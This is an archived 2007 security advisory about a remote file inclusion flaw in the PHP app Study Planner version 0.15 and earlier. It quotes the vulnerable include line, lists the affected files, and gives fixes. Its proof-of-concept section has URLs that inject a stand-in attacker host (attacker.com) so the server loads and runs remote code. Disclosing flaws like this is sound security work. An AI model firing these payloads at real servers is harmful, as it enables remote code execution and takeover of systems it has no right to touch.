Twenty Year Anniversary

adv77-K-159-2007.txt

adv77-K-159-2007.txt
Posted Mar 24, 2007
Authored by M.Hasran Addahroni | Site advisories.echo.or.id

Study Planner versions 0.15 and below suffer from a remote file inclusion vulnerability.

tags | advisory, remote, file inclusion
MD5 | ddce209cddfcd082c8f2635b0beec66c

adv77-K-159-2007.txt

Change Mirror Download
ECHO_ADV_77$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author : M.Hasran Addahroni
Date : March, 21th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv77-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Study planner (Studiewijzer)
version : <= 0.15
Vendor : http://www.studiewijzer.nl/
http://sourceforge.net/projects/splanner
Description :

A study planner, helping students to choose and plan the appropriate actions or tasks in order to reach their goals (PHP based)

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at inc/service.alert.inc.php :


----------------inc/service.alert.inc.php-------------------
<?php
/**
* Alerting service
*
* $Author: jebbol $
* $Revision: 1.1 $
* $Date: 2006/08/24 17:33:44 $
*
* @copyright Copyright (c) 2005-2006 Studiewijzer.nl
* @link http://www.studiewijzer.nl
* @license http://www.gnu.org/copyleft/gpl.html
*/

include_once ($SPL_CFG['dirroot'].'/class/stu.class.php');
...

----------------------------------------------------------------


Variables $SPL_CFG['dirroot'] is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :
inc/settings.ses.php
db/mysql/db.inc.php
integration/shortstat/configuration.php
methodology/traditional/class/ali.class.php
methodology/traditional/class/cat.class.php
methodology/traditional/ui/inc/cat_browse.inc.php
methodology/traditional/ui/inc/chr_browse.inc.php
methodology/traditional/ui/inc/chr_display.inc.php
methodology/traditional/ui/inc/dash_browse.inc.php
ws/spl.webservice.php
ws/konfabulator/gateway_admin.php

and more ..

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil?



Solution:
~~~~~~~

- Sanitize variable $SPL_CFG['dirroot'] on affected file.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    9 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    34 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close